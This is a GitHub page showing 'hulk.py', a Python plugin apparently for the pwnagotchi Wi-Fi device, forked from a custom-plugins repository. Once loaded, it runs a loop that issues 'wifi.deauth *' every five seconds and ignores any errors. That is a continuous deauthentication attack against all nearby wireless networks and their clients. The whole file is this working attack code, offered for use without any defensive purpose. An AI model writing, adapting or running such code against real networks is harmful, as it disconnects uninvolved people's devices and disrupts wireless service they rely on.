forked from dadav/pwnagotchi-custom-plugins
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhulk.py
More file actions
40 lines (34 loc) · 999 Bytes
/
Copy pathhulk.py
File metadata and controls
40 lines (34 loc) · 999 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import json
import logging
import os
from time import sleep
from pwnagotchi import plugins
class Hulk(plugins.Plugin):
__author__ = '33197631+dadav@users.noreply.github.com'
__version__ = '1.0.0'
__license__ = 'GPL3'
__description__ = 'This will put pwnagotchi in hulk mode. Hulk is always angry!'
__defaults__ = {
'enabled': False,
}
def __init__(self):
self.options = dict()
self.running = False
def on_loaded(self):
logging.info('[hulk] PLUGIN IS LOADED! WHAAAAAAAAAAAAAAAAAA')
self.running = True
def on_unload(self, ui):
self.running = False
def on_ready(self, agent):
display = agent.view()
i = 0
while self.running:
i += 1
if i % 10 == 0:
display.set('status', 'HULK SMASH!!')
try:
agent.run('wifi.deauth *')
except Exception:
pass
finally:
sleep(5)